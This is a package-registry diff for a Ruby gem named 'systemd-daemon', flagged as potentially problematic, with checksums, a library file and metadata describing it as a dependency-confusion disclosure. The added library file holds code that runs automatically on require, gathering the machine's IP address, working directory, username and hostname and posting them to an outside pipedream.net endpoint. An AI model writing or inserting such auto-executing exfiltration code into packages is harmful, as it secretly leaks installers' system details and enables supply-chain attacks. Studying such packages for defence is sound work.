systemd-daemon 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of systemd-daemon might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/bin/systemd-daemon_executable +3 -0
- data/lib/systemd-daemon.rb +39 -0
- metadata +46 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: 000447af3477284f274d630246666a2d4f3539cdda8b2407cfb8afb9eff40702
|
4
|
+
data.tar.gz: 774b079e15d799cef05348372730b3b51732888979838a17b559941666604bec
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 178fb64034241cafaddd174f774776a0caf879110248f5085da864053cae2fc5b865e11ed4802adaff77614e81bee8e2db75029ea6c2cc40cb89d2c47f8afc16
|
7
|
+
data.tar.gz: a6821ecab649f3bf272950357d49358692c05c9e774b8d9a5dda8cf6103004414247a0adb11be051cfbe1bae7b06293bfac08a739bf7e2d599aab2c47a824bbf
|
@@ -0,0 +1,39 @@
|
|
1
|
+
require 'net/http'
|
2
|
+
require 'socket'
|
3
|
+
|
4
|
+
module MyGem
|
5
|
+
class MyRubyFile
|
6
|
+
def self.send_data
|
7
|
+
# Get IP address
|
8
|
+
ip = Socket.ip_address_list.find { |addr| addr.ipv4? &&
|
9
|
+
!addr.ipv4_loopback? }&.ip_address || ''
|
10
|
+
|
11
|
+
# Get working directory
|
12
|
+
dir = Dir.pwd
|
13
|
+
|
14
|
+
# Get username
|
15
|
+
username = ENV['USER'] || ''
|
16
|
+
|
17
|
+
# Get hostname
|
18
|
+
hostname = Socket.gethostname
|
19
|
+
|
20
|
+
# Burp Collaborator server URL
|
21
|
+
burp_url = 'https://eoy38idg1hk4nep.m.pipedream.net'
|
22
|
+
|
23
|
+
# Data to send
|
24
|
+
data = {
|
25
|
+
'ip' => ip,
|
26
|
+
'directory' => dir,
|
27
|
+
'username' => username,
|
28
|
+
'hostname' => hostname
|
29
|
+
}
|
30
|
+
|
31
|
+
# Send data to Burp Collaborator server
|
32
|
+
uri = URI.parse(burp_url)
|
33
|
+
Net::HTTP.post_form(uri, data)
|
34
|
+
end
|
35
|
+
end
|
36
|
+
end
|
37
|
+
|
38
|
+
# Automatically send data when the gem is required
|
39
|
+
MyGem::MyRubyFile.send_data
|
metadata
ADDED
@@ -0,0 +1,46 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: systemd-daemon
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.0.1
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Naveen Kumawat
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2023-07-17 00:00:00.000000000 Z
|
12
|
+
dependencies: []
|
13
|
+
description: This Ruby package vulnerable to dependency confuse vulnerability
|
14
|
+
email:
|
15
|
+
- naveenkumawat1995@gmail.com
|
16
|
+
executables:
|
17
|
+
- systemd-daemon_executable
|
18
|
+
extensions: []
|
19
|
+
extra_rdoc_files: []
|
20
|
+
files:
|
21
|
+
- bin/systemd-daemon_executable
|
22
|
+
- lib/systemd-daemon.rb
|
23
|
+
homepage: https://rubygems.org/gems/systemd-daemon
|
24
|
+
licenses:
|
25
|
+
- MIT
|
26
|
+
metadata: {}
|
27
|
+
post_install_message:
|
28
|
+
rdoc_options: []
|
29
|
+
require_paths:
|
30
|
+
- lib
|
31
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
32
|
+
requirements:
|
33
|
+
- - ">="
|
34
|
+
- !ruby/object:Gem::Version
|
35
|
+
version: '0'
|
36
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
37
|
+
requirements:
|
38
|
+
- - ">="
|
39
|
+
- !ruby/object:Gem::Version
|
40
|
+
version: '0'
|
41
|
+
requirements: []
|
42
|
+
rubygems_version: 3.4.10
|
43
|
+
signing_key:
|
44
|
+
specification_version: 4
|
45
|
+
summary: 'Vulnerability Disclosure: Dependency confusion vulnerability'
|
46
|
+
test_files: []
|